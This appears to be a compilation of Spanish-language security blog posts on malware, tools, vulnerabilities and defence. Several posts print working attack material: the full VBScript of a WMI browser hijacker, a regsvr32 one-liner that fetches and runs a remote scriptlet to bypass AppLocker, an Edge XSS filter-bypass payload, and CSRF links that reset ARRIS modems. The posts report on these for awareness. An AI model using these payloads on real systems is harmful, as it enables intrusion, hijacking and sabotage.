Malware usa el Modo Dios y nombres de directorio prohibidos

Hace dos años hablábamos de un huevo de pascua que Microsoft introdujo en Windows Vista denominado "Modo Dios" o "God Mode", a través del cual y simplemente creando una carpeta con un nombre específico podíamos (y seguimos pudiendo) acceder a un montón de accesos directos del panel de configuración y otras opciones. Si recordáis:

GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}



Recientemente McAfee ha descubierto un troyano bautizado como Dynamer que para ganar persistencia se aprovecha de esta característica añadiendo al registro un acceso directo al ítem del panel de control "Conectarse a escritorios y programas en su lugar de trabajo":


HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
lsm = C:\Users\admin\AppData\Roaming\com4.{241D7C96-F8BF-4F85-B01F-E2B043341A4B}\lsm.exe


Y no sólo eso, si intentas borrar el directorio/acceso directo desde el explorador Windows no te lo permitirá:


Eso es debido a que el sistema operativo no permite borrar ni crear directorios con nombres de acceso a dispositivos (“con”, “prn”, “nul”, “com1”, “com2”, “lpt1”, etc.), al menos directamente, si no se hace específicamente:

rd \\.\c:\tmp\com4.{241D7C96-F8BF-4F85-B01F-E2B043341A4B}


Así que, a parte de malas intenciones, nadie podrá discutir que los desarrolladores de malware usan su ingenio, ¿verdad? ;)

¡Feliz puente!

 Fuente: Malware Takes Advantage of Windows ‘God Mode’

Cryptomator: software de código abierto para cifrar tus archivos en la nube

Mover nuestros datos a la nube se está convirtiendo en algo cada vez más atractivo para mejorar el acceso y la disponibilidad a los mismos. Sin embargo esta transición plantea nuevos riesgos para la seguridad y la privacidad ya que en el modelo de cloud computing los datos pueden ubicarse en cualquier punto del planeta, delegando la confiabilidad al proveedor de la nube... o no necesariamente.  

En la nube no sabemos físicamente donde están nuestros datos y los proveedores pueden tomar o no las medidas necesarias para asegurarse de que nuestra información no quede expuesta a terceros. Por eso, la mejor medida que podemos tomar antes de subir nuestros datos a la nube es... cifrarlos.

Precisamente en la conferencia CeBIT 2016 que tuvo lugar la semana pasada en Hannover galardonaron a Tobias Hagemann y Sebastian Stenzel, dos estudiantes de informática, con el premio especial de Seguridad y Privacidad Usable por su herramienta "Cryptomator", una herramienta de lado del cliente para cifrar los datos antes de subirlos a la nube, multiplataforma, de código abierto (java bajo licencia MIT/X Consortium) y muy fácil de usar por cualquier usuario.

Básicamente lo que hace es crear un contenedor cifrado (vault) en Dropbox, Google Drive o cualquier otro servicio en la nube y montar un disco virtual de tal forma que todo lo que movamos al mismo será cifrado al vuelo y de forma transparente.



Cryptomator cifra el contenido de los archivos y nombres usando el algoritmo AES. La passphrase está protegida contra intentos de fuerza bruta utilizando scrypt. Las estructuras de directorios y tamaño de los archivos se ofuscan y, en definitiva, la única cosa que no se cifra para no romper la sincronización de la nube es la fecha de modificación de los archivos...


Así que si utilizas la nube y todavía no cifras tus archivos ¡a qué esperas para usar Cryptomator!

Fuentes:
- https://cryptomator.org/
- https://github.com/cryptomator/cryptomator/releases

¿Puede una tarjeta SIM propagar malware?

Hoy en el foro de seguridad de Stack Exchange alguien lanzaba una interesante pregunta: "¿Puede una tarjeta SIM propagar malware?".

Empecemos hablando de que cada tarjeta SIM tiene su propia clave OTA (over-the-air) que es utilizada
por los operadores para instalar actualizaciones remotamente, los cuales son capaces de instalar software sólo mandando un mensaje binario directamente a la SIM. Evidentemente si la clave OTA es comprometida cualquier atacante podría aprovecharla para instalar algún tipo de spyware.

¿Y cómo es posible comprometer una clave OTA? El problema es que muchas tarjetas SIM todavía utilizan DES, un cifrado de los años 70, y claro... romperlo y obtener un clave de 56 bits con clusters FPGA o (más fácil) con tablas rainbow, es cuestión de minutos


Para iniciar el ataque, se puede mandar un comando OTA firmado incorrectamente y, en muchos casos, la SIM responde con una firma criptográfica. A través de ésta se realiza la "fuerza bruta", y una vez que el atacante obtiene la clave, ya puede crear el binario SMS firmado que a su vez puede descargar applets java a la SIM. Estos applets tienen acceso a muchas funciones o interfaces, pero es que incluso tambiés es posible evadir la implementación del sandbox de java permitiendo clonar la SIM remotamente incluyendo la identidad (IMSI, Ki) e incluso las credenciales de pago.

Al hilo de ésto, no hace mucho escuchábamos la noticias en la que se afirmaba que la NSA ya había desarrollado malware que funcionaba de esta manera y en su catálogo de exploits aparecían dos tipos de malware distintos basados en SIM: MONKEYCALENDAR que mandaba los datos de localización simplemente a través de un mensaje SMS oculto y GOPHERSET que además se traía la agenda, los mensajes y los registros de llamada. En ambos casos, el malware "vivía" sólamente en la SIM sin dejar rastro en el almacenamiento interno del dispositivo.

En resumen es posible explotar aquellas tarjetas SIM que utilizan el débil y obsoleto DES pero no es la única forma... En la Black Hat de 2015 ya estaban reventando AES-128 con ataques side-channel y, por su puesto, no estamos a salvo de otras técnicas nuevas habidas y por descubrir...

Entonces, a la pregunta ¿puede una tarjeta SIM propagar malware? la respuesta es sí. Al fin al cabo es lo divertido, ¿no?  

Fuentes:
- Are there any viruses detected in the wild which use SIM cards as a carrier/medium to infect smartphones?
- The NSA's SIM heist could have given it the power to plant spyware on any phone
- SIM card flaw said to allow hijacking of millions of phones
- Rooting SIM cards
- SIM Card Malware and how it works
- SIM card phone hacking — How It May Affect You
- SIM cards: attack of the clones
- The evolution of the SIM card
- Researchers look sideways to crack SIM card AES-128 encryption

Yeabests.cc: secuestrando el navegador con WMI y sin ficheros

Seguro que lo habéis sufrido o visto en algún sitio... el usuario que se queja de que cada vez que lanza el navegador se le abre una página extraña (normalmente un buscador de dudosa reputación) y, aunque la quita como página de inicio, vuelve una y otra vez a aparecer. Véase por ejemplo:


Se trata del tipo de malware conocido como browser hijacker y ya sabéis lo molesto y peligroso que resulta, más aún aquellos que no dejan rastro en el sistema de ficheros (fileless).

Un ejemplo de ello y que leía ayer en un artículo de Djordje Lukic, un analista de malware de Zemana, es el que infecta a la víctima haciendo que todos lo accesos directos de los navegadores lleven como parámetro yeabests.cc:
 


Lo interesante es que para llevarlo a cabo utiliza WMI. Concretamente se registra así mismo como una instancia llamada ASEC en la clase ActiveScriptEventConsumer que contiene un VBScript que es ejecutado por scrcons.exe (WMI Standard Event Consumer) cada 10 segundos.

Podéis verlo mediante wbemtest.exe o con la app WMI Explorer de CodePlex:



Y el susodicho código del VBScript:

Dim objFS
Set objFS = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Const link = "http://yeabests.cc"
browsers = Array("IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe")
Set BrowserDic = CreateObject("scripting.dictionary")
For Each browser In browsers
    BrowserDic.Add LCase(browser), browser
Next
Dim FoldersDic(12)
Set WshShell = CreateObject("Wscript.Shell")
FoldersDic(0) = "C:\Users\Public\Desktop"
FoldersDic(1) = "C:\ProgramData\Microsoft\Windows\Start Menu"
FoldersDic(2) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs"
FoldersDic(3) = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(4) = "C:\Users\User\Desktop"
FoldersDic(5) = "C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu"
FoldersDic(6) = "C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"
FoldersDic(7) = "C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
FoldersDic(8) = "C:\Users\User\AppData\Roaming\Roaming"
FoldersDic(9) = "C:\Users\User\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch"
FoldersDic(10) = "C:\Users\User\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu"
FoldersDic(11) = "C:\Users\User\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar"
Set fso = CreateObject("Scripting.Filesystemobject")
For i = 0 To UBound(FoldersDic)
    For Each file In fso.GetFolder(FoldersDic(i)).Files
        If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
            set oShellLink = WshShell.CreateShortcut(file.Path)
            path = oShellLink.TargetPath
            name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
            If BrowserDic.Exists(LCase(name)) Then
                oShellLink.Arguments = link
                If file.Attributes And 1 Then
                    file.Attributes = file.Attributes - 1
                End If
                oShellLink.Save
            End If
        End If
    Next
Next
createobject("wscript.shell").run "cmd /c taskkill /f /im scrcons.exe", 0

Como veis (os subrayo en amarillo) el malware puede secuestrar hasta 14 navegadores distintos y, dado que el instalador de esta infección se borra a sí mismo cuando se ejecuta, no crea ningún archivo en el disco duro y sólo reside en el WMI, haciendo que la mayoría de AV no sean capaces de detectarlo.
 

pd. Tenéis las instrucciones para borrarlo manualmente en cada una de las fuentes de este artículo:

Fuentes:
- Yeabests.cc Fileless Browser Hijacker 
- Yeabests.cc: A fileless infection using WMI to hijack your Browser

Cómo saltarse el Applocker de Windows con un comando que cabe en un tweet

AppLocker es una característica que se introdujo en Windows Server 2008 R2 y Windows 7 y permite definir qué programas y scripts pueden o no pueden ejecutar los usuarios. Se utiliza sobretodo en empresas y universidades para impedir el uso de programas no relacionados con el trabajo y de paso puede evitar la ejecución de malware.


Recientemente un investigador de seguridad llamado Casey Smith ha encontrado una forma bastante simple que puede evadir las restricciones de AppLocker mendiante el fetcher HTTP. Véase el siguiente comando para Windows 10 Enterprise que cabe en un tweet:

regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll


Ya sabéis que regsvr32 es parte del sistema operativo y se puede utilizar para registrar y des-registrar scripts COM con el registro de Windows. /s le dice a regsvr32 que se ejecute en silencio, mediante /n no usaremos DllRegisterServer, /i pasa un parámetro opcional (nuestra URL) para DllInstall, /u significa que estamos tratando de anular el registro de un objeto y scrobj.dll es el Script Component Runtime de Microsoft.

Si se le pasa a regsvr32 una dirección URL a analizar, lo que hace realmente es descargarlo a través de HTTP o HTTPS, incluso a través de proxy, y procesarla. Insertando código JavaScript en un XML y provocando su ejecución mediante la solicitud de anulación del registro de una DLL es posible ejecutar cmd.exe:

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="Empire"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
    
            var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");    
    
        ]]>
</script>
</registration>
</scriptlet>

Como veis, el Javascript embebido utiliza ActiveX para abrir una consola de comandos. Si cambiamos cmd.exe por cualquier otro programa que no esté en la lista blanca de AppLocker... ¡se ejecutará!

El truco (Smith no ha querido llamarlo exploit) es limpio, ya que no toca el registro, no necesita derechos de administrador, puede ser "envuelto" en una sesión HTTP cifrada y no deja ningún rastro en el disco ya que lo descarga a memoria.

Por el momento, no existe un parche para esto.

Fuente: Bypass the Windows AppLocker bouncer with a tweet-size command

Protección DDoS mediante iptables

Cuando me inicié en el mundo de Linux hace ya más de 15 años (joder que viejo soy) una de las las características que más me enganchó desde el principio fueron sus capacidades para usarlo como cortafuegos de red. Primero con ipfwadm, luego ipchains y después y sobretodo iptables/Netfilter, fueron muchos los firewalls Linux que desplegué durante años. Y después de tanto tiempo y aún a la espera de la inminente (y tardía) adopción de nftables, me siguen maravillando sus posibilidades y capacidades de defensa antes las últimas amenazas de nuestra era...

Y precisamente una de las amenazas más tangibles de esta década son los famosos ataques de denegación de servicio distribuidos (DDoS) que vemos tanto en los medios y que provocan a las empresas pérdidas millonarias con sólo afectar a la disponibilidad de sus sistemas durante un breve (o no) periodo de tiempo.

Para contrarrestar estos ataques, iptables y en general el kernel de Linux nos ofrece ciertas protecciones que debemos tener en cuenta. El genial artículo de Constantin Oesterling en Javapipe da buena cuenta de ello, así que repasaremos algunas de sus medidas para mitigar DDoS.

Tuneando el kernel

Lo primero que tenemos que hacer antes de abordar las reglas como tal es optimizar el kernel para mitigar los efectos de los ataques DDoS. El siguiente ejemplo se basa en CentOS 7 ya que esta distro incluye una versión reciente de iptables y soporta synproxy. Sólo hay que ponerla en /etc/sysctl.conf y aplicar la configuración con sysctl -p:

kernel.printk = 4 4 1 7
kernel.panic = 10
kernel.sysrq = 0
kernel.shmmax = 4294967296
kernel.shmall = 4194304
kernel.core_uses_pid = 1
kernel.msgmnb = 65536
kernel.msgmax = 65536
vm.swappiness = 20
vm.dirty_ratio = 80
vm.dirty_background_ratio = 5
fs.file-max = 2097152
net.core.netdev_max_backlog = 262144
net.core.rmem_default = 31457280
net.core.rmem_max = 67108864
net.core.wmem_default = 31457280
net.core.wmem_max = 67108864
net.core.somaxconn = 65535
net.core.optmem_max = 25165824
net.ipv4.neigh.default.gc_thresh1 = 4096
net.ipv4.neigh.default.gc_thresh2 = 8192
net.ipv4.neigh.default.gc_thresh3 = 16384
net.ipv4.neigh.default.gc_interval = 5
net.ipv4.neigh.default.gc_stale_time = 120
net.netfilter.nf_conntrack_max = 10000000
net.netfilter.nf_conntrack_tcp_loose = 0
net.netfilter.nf_conntrack_tcp_timeout_established = 1800
net.netfilter.nf_conntrack_tcp_timeout_close = 10
net.netfilter.nf_conntrack_tcp_timeout_close_wait = 10
net.netfilter.nf_conntrack_tcp_timeout_fin_wait = 20
net.netfilter.nf_conntrack_tcp_timeout_last_ack = 20
net.netfilter.nf_conntrack_tcp_timeout_syn_recv = 20
net.netfilter.nf_conntrack_tcp_timeout_syn_sent = 20
net.netfilter.nf_conntrack_tcp_timeout_time_wait = 10
net.ipv4.tcp_slow_start_after_idle = 0
net.ipv4.ip_local_port_range = 1024 65000
net.ipv4.ip_no_pmtu_disc = 1
net.ipv4.route.flush = 1
net.ipv4.route.max_size = 8048576
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.tcp_congestion_control = htcp
net.ipv4.tcp_mem = 65536 131072 262144
net.ipv4.udp_mem = 65536 131072 262144
net.ipv4.tcp_rmem = 4096 87380 33554432
net.ipv4.udp_rmem_min = 16384
net.ipv4.tcp_wmem = 4096 87380 33554432
net.ipv4.udp_wmem_min = 16384
net.ipv4.tcp_max_tw_buckets = 1440000
net.ipv4.tcp_tw_recycle = 0
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_max_orphans = 400000
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_rfc1337 = 1
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_syn_retries = 2
net.ipv4.tcp_max_syn_backlog = 16384
net.ipv4.tcp_timestamps = 1
net.ipv4.tcp_sack = 1
net.ipv4.tcp_fack = 1
net.ipv4.tcp_ecn = 2
net.ipv4.tcp_fin_timeout = 10
net.ipv4.tcp_keepalive_time = 600
net.ipv4.tcp_keepalive_intvl = 60
net.ipv4.tcp_keepalive_probes = 10
net.ipv4.tcp_no_metrics_save = 1
net.ipv4.ip_forward = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.all.rp_filter = 1

Estos ajustes en sysctl.conf ayudan a maximizar el rendimiento de un servidor bajo un ataque DDoS, así como la eficacia de las reglas de iptables que veremos a continuación.

ipgeolocation.py: script en python para geolocalización

Continuamos aumentando nuestro arsenal de herramientas para pentests, esta vez con un script en python que nos servirá para obtener la información de geolocalización de una IP o dominio desde la línea de comandos, like a pro ;)

Se trata de IPGeoLocation de maldevel, basado en ip-api y Python 3.x. Entre sus características destaca la posibilidad de cargar diferentes IPs desde un fichero (una por línea), definir tu propio User Agent o cargar una lista que se irá usando aleatoriamente en cada petición y poder usar uno o varios proxies, también aleatoriamente (tor y otros).

Ejemplos:

Obtener tu propia geolocalización
    ./ipgeolocation.py -m

Obtener la geolocalización de una IP
    ./ipgeolocation.py -t x.x.x.x

Obtener la geolocalización de un dominio
    ./ipgeolocation.py -t example.com

No guardar ficheros .log
    ./ipgeolocation.py -t example.com --nolog

Cadena User Agent personalizada
    ./ipgeolocation.py -t x.x.x.x -u "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko"

Usar Proxy
    ./ipgeolocation.py -t x.x.x.x -x http://127.0.0.1:8080

Usar un proxy aleatorio
    ./ipgeolocation.py -t x.x.x.x -X /path/to/proxies/filename.txt

Usar una cadena User-Agent aleatoriamente
    ./ipgeolocation.py -t x.x.x.x -U /path/to/user/agent/strings/filename.txt

Obtener la geolocalización de una IP y abrir la localización en Google Maps a través del navegador por defecto

    ./ipgeolocation.py -t x.x.x.x -g

Exportar los resultados a un fichero CSV
    ./ipgeolocation.py -t x.x.x.x --csv /path/to/results.csv

Exportar los resultados a un fichero XML
    ./ipgeolocation.py -t x.x.x.x --xml /path/to/results.xml

Exportar los resultados a un fichero TXT
    ./ipgeolocation.py -t x.x.x.x -e /path/to/results.txt

Obtener la geolocalización de muchos objetivos
    ./ipgeolocation.py -T /path/to/targets/targets.txt

Obtener la geolocalización de muchos objetivos y exportar los resultados a un fichero XML
    ./ipgeolocation.py -T /path/to/targets/targets.txt --xml /path/to/results.xml

No mostrar los resultados en el terminal
    ./ipgeolocation.py -m -e /path/to/results.txt --noprint

Proyecto Github: https://github.com/maldevel/IPGeoLocation

inurlbr: motor de búsqueda avanzado para pentests

inurlbr es una herramienta en PHP que nos servirá como motor de búsqueda avanzado para la fase inicial de descubrimiento de un pentest o en un análisis de vulnerabilidades. Puede usar hasta 24 motores de búsqueda y 6 opciones especiales o deep web.

Esta herramienta permite aprovechar el poder de la información que ya está indexada por los motores de búsqueda y analizar un objetivo para cualquier posible intrusión.

Es capaz de extraer direcciones de correo electrónicos y URLs y valida cada petición examinando las respuestas HTTP. También soporta Tor para aleatorizar la IP y comandos externos para explotación: por ejemplo si encontramos una vulnerabilidad de inyección SQL, podríamos usar
inurlbr para lanzar directamente sqlmap o cualquier otra herramienta a nuestra elección.

inurlbr funciona con la versión version **5.4.x** de [php](http://php.net/downloads.php) en plataformas linux.


Para instalarlo podemos clonar el repositorio:  
git clone https://github.com/googleinurl/SCANNER-INURLBR.git inurlbr

Dar permisos de ejecución al script:
chmod +x inurlbr.php

E instalar las dependencias necesarias:
apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl

Evasión del filtro XSS del navegador Edge

El 4 de septiembre de 2015, Gareth Heyes del blog de PortSwigger reportó a Microsoft una forma de evadir el filtro XSS de su nuevo navegador Edge. A día de hoy este bypass sigue siendo posible: 

http://challenge.hackvertor.co.uk/script.php?x=g%27,y=%27f%27,{[%27toStrin%27%2bx]:[].join,length:1,0:%27java\script:alert\x281\x29%27,[%27valueO%27%2by]:location}-%27



Veamos como llegamos a ese XSS... 


IE tenía un fallo mediante el cuál se podía utilizar el objeto location como una función y combinar toString/valueOf en un objeto literal para ejecutar código. Básicamente se utiliza el objeto literal como una matriz falsa que llama a la función join que construye una cadena desde el objeto literal y lo pasa a valueOf que a su vez se lo pasa al objeto location. Aquí está el código:

-{toString:[].join,length:1,0:'javascript:alert(123)',valueOf:location}

Esto también funciona en la versión más reciente de Edge, sin embargo ambos navegadores lo detectarán como un ataque XSS. El filtro de expresiones regulares detecta una cadena seguida de cualquier número de caracteres, seguido de un "{" o "," más toString/valueOf y el carácter ":". La "a" de valueOf y la "o" de toString se sustituyen por el carácter "#". Aquí es una versión simplificada de la expresión regular:


["'`].*?[{,].*(valueOf|toString).*?:}


En el siguiente pastebin de octubre de 2015 podéis encontrar los regexp: http://pastebin.com/LLB4tMAS

Por otro lado, Edge soporta ES6 (ECMAScript v6 o el nuevo estándar de javascript) y viene con algunas nuevas características muy útiles. Por ejemplo las propiedades calculadas en ES6 permiten pasar una expresión para calcular el nombre de la propiedad:

x='a';
o={[x]:123};
alert(o.a)


Mediante la combinación de las dos técnicas podemos evitar el filtro XSS Edge. 

Como se muestra anteriormente, las expresiones regulares buscan toString/valueOf pero ,desafortunadamente, se pueden ofuscar utilizando las propiedades calculadas:

x='g',y='f',
{['toStrin'+x]:[].join,length:1,0:'java\script:alert\x28123\x29',['valueO'+y]:location}-'';


Fuente:
- Edge XSS filter bypass

Réquiem por OSVDB

Open Source Vulnerability Database (OSVDB), un sitio web que proporciona información objetiva y precisa sobre las vulnerabilidades del software, ha decidido cerrar de forma permanente.

Este anuncio se produjo después de que la falta de apoyo de la industria para el mantenimiento del proyecto. OSVDB fue arrancado en agosto de 2002 en la Blackhat y la DEF CON como un proyecto cuyo objetivo era proporcionar información precisa y objetiva sobre las vulnerabilidades de seguridad. La base de datos se publicó por primera vez el 31 de marzo de 2004 y fue guiado por la organización sin ánimo de lucro Fundación de Seguridad Abierta (OSF).

En un breve comunicado, Brian Martin, uno de los líderes del proyecto OSVDB, señaló que no va a volver: "A partir de hoy, se ha tomado la decisión de cerrar la base de datos de vulnerabilidades de código abierto (OSVDB), y no volverá. No estamos buscando que nadie nos ayude en este aspecto, y no seremos resucitados de la forma anterior. Esto no fue una decisión fácil, y varios de nosotros luchamos durante más de diez años tratando de hacer que funcionara con un gran coste personal. La industria simplemente no quería contribuir y apoyar este esfuerzo. El blog OSVDB seguirá siendo un lugar para el envío de observaciones sobre todas las cosas relacionadas con el mundo de la vulnerabilidades".

Antes de su cierre, el sitio había logrado reunir más de 106.000 vulnerabilidades en más de 83.000 productos de más de 10.000 proveedores. Para quitarse el sombrero. Les echaremos de menos señores.


Referencias:
- http://opensecurityfoundation.org DEP
- https://en.wikipedia.org/wiki/Open_Source_Vulnerability_Database
- https://blog.osvdb.org/2016/04/05/osvdb-fin/
- http://cve.mitre.org/data/refs/refmap/source-OSVDB.html

¿Qué porcentaje de los contenidos de la Dark Web son ilegales?

En el blog hemos hablado varias veces de la Deep Web y la Dark Web y, aunque normalmente su uso se asocia a actividades delictivas, un estudio del CIGI (Centro para el Gobierno de Innovación Internacional) demostraba que un porcentaje significativo es contenido legal.

De hecho y aunque es innegable que la Dark Web es un lugar lleno de criminales y hackers maliciosos que conforman varios mercados negros, no olvidemos que también es un medio muy valioso para periodistas, activistas, confidentes y disidentes políticos que se escapan de la censura y la represión de sus respectivos países.

Al hilo de ésto, recientemente las empresas de inteligencia Intelliagg y Darksum han publicado un interesante informe que trata de descubrir las proporciones reales de contenidos legales e ilegales en la Dark Web. Para ello, su estudio se centró en el análisis de la red Tor, que representa una parte significativa de la web oscura, pero no su totalidad.

Los expertos utilizaron un software de spidering para rastrear la red Tor y recoger la información utilizada en el estudio.

"Hemos realizado nuestro censo de la web oscura utilizando el Darksum 'software de recolección", un "spider" o software que sigue los enlaces a través de la web con el fin de elaborar un índice de sus páginas, y el 'sistema de clasificación inteligente de aprendizaje-máquina de Intelliagg' -  complejos algoritmos que son "entrenados" por seres humanos y luego enviados para clasificar automáticamente los datos", comentan en el informe.

"Nuestro sistema de clasificación ha sido 'entrenado' usando los datos resultantes de la clasificación manual de 1.000 sitios de la Dark Web. Se procedió a clasificar los datos que quedan automáticamente sin supervisión humana. Este método automatizado resultó ser un 94% tan preciso como hubiera sido si este proceso se hubiera hecho totalmente a mano, lo que significa que 9 de cada 10 veces nuestros algoritmos llegaron a la misma conclusión que un analista experimentado".

Los expertos lanzaron sus "arañas" durante dos semanas en febrero de 2016 centrando su análisis en algunos servicios seleccionados de la dark web, incluyendo pornografía, servicios de documentación falsa, drogas, los sitios de carding, sitios de fraude financiero, armas y blogs.


Crackean el ransomware Petya y publican herramientas para descifrar el MBR

Petya es un crypto-ransomware que hace aproximadamente un mes pegó muy fuerte sobretodo en Alemania mediante una campaña de spam dirigida a organizaciones de recursos humanos por medio de correos electrónicos con solicitudes de empleo. Estos correos contenían un enlace a un archivo de Dropbox que era un dropper que descargaba e instalaba Petya.

Una vez instalado, el ransomware sobrescribe los primeros sectores del disco, incluyendo el MBR (Master Boot Record), y realiza un respaldo cifrado con XOR. A continuación fuerza el reinicio de Windows y muestra una falsa pantalla de chequeo del disco (CHKDSK) mientras que, en segundo plano, cifra la MFT (Master File Table). Sin acceso a la MFT, el sistema operativo no tendrá la información de los archivos de su volumen (nombre, tamaño y el mapeo de sectores del disco duro) y al arrancar la víctima se encontrará con una desagradable sorpresa:



Para descifrar la MFT el ransomware solicita unos  0.99 BTC (unos 371€) para obtener la clave de descifrado.

135 millones de cable módems permiten resetarse de fábrica sin autenticación

Los ARRIS SURFboard son cable modems muy populares, se calcula que hay unos 135 millones vendidos, sobretodo en EE.UU. Por unos 70$ el modelo SB6141 funciona con casi cualquier operador americano, soporta IPv6 y permite descargar hasta 343 Mbps.

El 1 de abril, precisamente el día de los inocentes en muchos sitios, el investigador David Longenecker publicó que era posible reiniciar estos routers e incluso resetarlos de fábrica (factory reset) sin NINGÚN TIPO DE AUTENTICACIÓN.


Por ejemplo podemos acceder a la página de diagnóstico de la versión de firmware SB_KOMODO-1.0.6.14-SCM01-NOSH de un SURFboard 6141 sin necesidad de introducir ningún login:



El problema es que el interfaz web también incluye dos botones con funciones para reiniciar el módem y... OMG!... para resetearlo de fábrica:



Evidentemente por defecto el acceso al Web UI es local, pero esta vulnerabilidad mala configuración puede explotarse mediante un CSRF (Cross Site Request Forgery) afectando al módem simplemente si el usuario visita alguno de los enlaces incluyéndolo en un correo:

- Reiniciar el módem:

192.168.100.1/reset.htm

- Resetearlo de fábrica:

http://192.168.100.1/cmConfigData.htm?BUTTON_INPUT1=Reset+All+Defaults

O peor, como una imagen que realmente no es una imagen en una página web, imaginaros su uso en un foro con un XSS persistente };) :

<img src="http://192.168.100.1/reset.htm">

FuenteARRIS (Motorola) SURFboard modem unauthenticated reboot flaw

¿Cuál es el equivalente a /dev/null en Windows?

> /dev/null  ...going nowhere
Si has trabajado con shell scripts te resultará familiar /dev/null, ese dispositivo fichero especial en Unix que podemos usar para hacer "desaparecer" todos los datos con solo escribirlos o redireccionarlos a él. Por eso se le llama agujero negro, cubo de basura, pozo sin fondo, etc.

Evidentemente hay algunas cosas que no podremos hacer con 'rm', necesitaremos /dev/null sobretodo para descartar un flujo de datos (stream) en tiempo de ejecución, normalmente la salida estándar o de un error de un comando dentro de un script. Por ejemplo, es muy común encontrarlo así:
algún comando > /dev/null 2>&1
Con el comando anterior evitaremos que se muestre la salida de un comando en concreto (stderr = 2, stdout = 1).

Pero, ¿existe un equivalente en Güindous? 

Efectivamente, NUL: o NUL en DOS, \Device\Null en Windows NT, nul en las versiones actuales:
type c:\autoexec.bat > NUL

El siguiente comando arrancará el proceso en segundo plano y redireccionara stderr a stdout y a su vez a NUL (superuser):
start /B foo > NUL 2>&1

Por otro lado, si usamos Powershell el equivalente es $null:
comando > $null (redirección)
ó
$null = comando (asignación a variable $null)

También hay un cmdlet para usarlo con una tubería:
"test" | out-null (pipe a cmdlet)

Y por último [void], el método más rápido para borrar en Powershell (tipo .Net usado en C#):
[void]$list.Add('Here')

Los 15 hackers éticos más famosos del mundo

Podemos encontrar una buena referencia de la definición de hacking ético en la web de Glosario de Informática e Internet (tomen nota señores de la RAE):

"Hacking ético es una forma de referirse al acto de una persona usar sus conocimientos de informática y seguridad para realizar pruebas en redes y encontrar vulnerabilidades, para luego reportarlas y que se tomen medidas, sin hacer daño."

Es decir, podemos decir que los hackers éticos son personas con los conocimientos necesarios para encontrar un fallo o vulnerabilidad en un sistema y que luego lo reportan al fabricante de forma responsable (responsable disclosure). No significa que algunos no quieran lucrarse con su investigación, de hecho muchos participan en los llamados programas de recompensas o bug bounties de diversos fabricantes para intentar ganar de forma legal dinero. 


Por ejemplo Nimbus Hosting ha hecho una curiosa infografía en el que destacan 15 hackers cuyo éxito ha sido muy notable en los últimos años:

De cómo protegerse contra Cryptolocker y demás ransomware - Parte 2

Hace unos días el DHS americano y el CCIRC canadiense emitieron una alerta ante la proliferación del ransomware, con el objetivo de que las personas y las empresas sean conscientes del riesgo que implica este tipo de malware.
En las últimas semanas ha estado especialmente activo Locky con varias variantes y campañas que han conseguido un gran número de infecciones.
Además los ataques son cada vez más dirigidos y ya hay ransomware como Samsam que se aprovecha de vulnerabilidades en servidores Jboss mediante Jexboss para afectar específicamente a empresas. Como podéis ver, con todo este panorama es capital emprender acciones defensivas contra este tipo de malware.

 
En la primera parte de esta serie, hablábamos que para protegerse del ransomware lo mejor era, a parte del sentido común, hacer regularmente backup y guardarlo de forma offline o al menos no directamente accesible por el equipo que pudiera infectarse. También hablamos de crear un fichero trampa, en adelante canary file, y monitorizarlo continuamente para disparar alguna acción para impedir que el ransomware siga cifrando archivos, por ejemplo desmontando un volumen de VeraCrypt (un fork de Truecrypt).

Más sobre "Canary files"

Recientemente en el blog de Free Forencics también vimos varios métodos interesantes usando canary files.

Desarrollan un software para suplantar caras en videos en tiempo real y de forma increíblemente realista

Hoy en día las videoconferencias a nivel empresarial están a la orden del día y ya es frecuente que los empleados de las grandes empresas mantengan reuniones remotamente desde otras oficinas o incluso desde su casa o la habitación de un hotel. No es difícil por ejemplo pensar en un alto ejecutivo negociando y dando luz verde a un gran contrato por streaming, ¿verdad? ¿Y si alguien pudiera falsificar ese vídeo fácilmente y en tiempo real?


Precisamente un equipo de investigadores ha creado un software que les permite controlar la cara de cualquier persona en cualquier vídeo. Usando reconocimiento facial avanzado, necesita unos 15 segundos de vídeo de cualquier cara y crea un modelo 3D de esa cara en tiempo real. El resultado es increíblemente realista, como se puede ver en el siguiente vídeo:



El proyecto llamado Face2Face es una colaboración entre científicos de la Universidad de Stanford, el Instituto Max Planck y la Universidad de Erlangen-Nuremberg en Alemania. El mismo equipo realizó un estudio similar el año pasado, pero esa iteración requería información de cámaras 3D especiales. Este nuevo sistema funciona con cualquier cámara y cualquier vídeo grabado.


Tenéis más detalles en:

